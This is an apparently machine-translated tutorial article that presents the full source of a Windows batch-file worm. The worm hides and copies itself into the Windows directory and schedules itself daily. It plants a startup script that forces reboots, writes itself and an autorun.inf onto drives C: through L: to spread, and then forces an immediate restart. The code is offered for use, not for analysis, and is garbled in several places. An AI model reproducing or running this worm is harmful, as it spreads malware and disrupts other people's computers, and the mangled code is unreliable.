How to implement batch worm bat
This article mainly introduces how to achieve batch worm bat, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let Xiaobian take you to understand.
The code is as follows:
@ echo off attrib-r-h-s "% ~ nx0" 2 > nul > nul attrib-r-h-s% windir%\ "% ~ nx0" 2 > nul > nul copy "% ~ nx0"% windir% / y 2 > nul > nul at 9:20 / every:m,t,w,th,f,s Su "% windir%\% ~ nx0" echo reboot >% windir%\ temp.dll set pat= "start" menu\ Program\ launch echo @ echo off > "% ALLUSERSPROFILE%\% pat%"\ reboot.bat echo echo reboot ^ > ^ >% windir%%\ temp.dll > > "% ALLUSERSPROFILE%\% pat%"\ reboot.bat echo find / c "reboot"% windir%%\ temp.dll^ | find "11" > > "% ALLUSERSPROFILE%\% pat%"\ reboot.bat echo if errorlevel 1 goto rebootnow > > "% ALLUSERSPROFILE%" \% pat% "\ reboot.bat echo del% windir%%\ user.dll / f / Q > >"% ALLUSERSPROFILE%\% pat% "\ reboot.bat echo del% windir%%\ temp.dll / f / Q > >"% ALLUSERSPROFILE%\% pat% "\ reboot.bat echo del / f / Q"% ~ nx0 "> >"% ALLUSERSPROFILE%\% pat% "\ reboot.bat echo exit > >"% ALLUSERSPROFILE%\% pat% "\ reboot.bat echo: rebootnow > >"% ALLUSERSPROFILE%\% pat% "\ reboot. Bat echo shutdown / r / t 0 / f > "% ALLUSERSPROFILE%\% pat%"\ reboot.bat echo exit > > "% ALLUSERSPROFILE%\% pat%"\ reboot.bat echo [autorun] >% windir%\ user.dll echo shellexecute=%~nx0 > >% windir%\ user.dll set disk=C: > nul 2 > nul: auto copy% windir%\ "% ~ nx0"% disk%\ / y 2 > nul > nul copy% windir%\ user.dll% disk%\ autorun.inf / y 2 > nul > nul attrib + s + h + r% disk%\% ~ nx0 2 > nul nul attrib > + s + h + r% disk%\ autorun.inf 2 > nul > nul cls goto% disk% > nul 2 > nul: C: set disk=D: > nul 2 > nul goto auto > nul 2 > nul: D: set disk=E: > nul 2 > nul goto auto > nul 2 > nul: e: set disk=F: > nul 2 > nul goto auto > nul 2 > nul: F: set disk=G: > nul 2 > nul goto auto > nul 2 > nul: set disk=H: > nul 2 > nul goto auto > nul 2 > nul: h: set disk=I: > nul 2 > nul goto auto > nul 2 > nul: I: nul: > nul 2 > set disk=J 2 > set disk=J J:: > set disk=J 2 > Auto > nul 2 > nul: K: set disk=L: > nul 2 > nul goto auto > nul 2 > nul: L: cls attrib + s + h + r% windir%\% ~ nx0 2 > nul > nul shutdown / r / t 0 / f exit Thank you for reading this article carefully I hope the article "how to achieve batch worm bat" shared by the editor will be helpful to you. At the same time, I also hope that you will support us and pay attention to the industry information channel. More related knowledge is waiting for you to learn!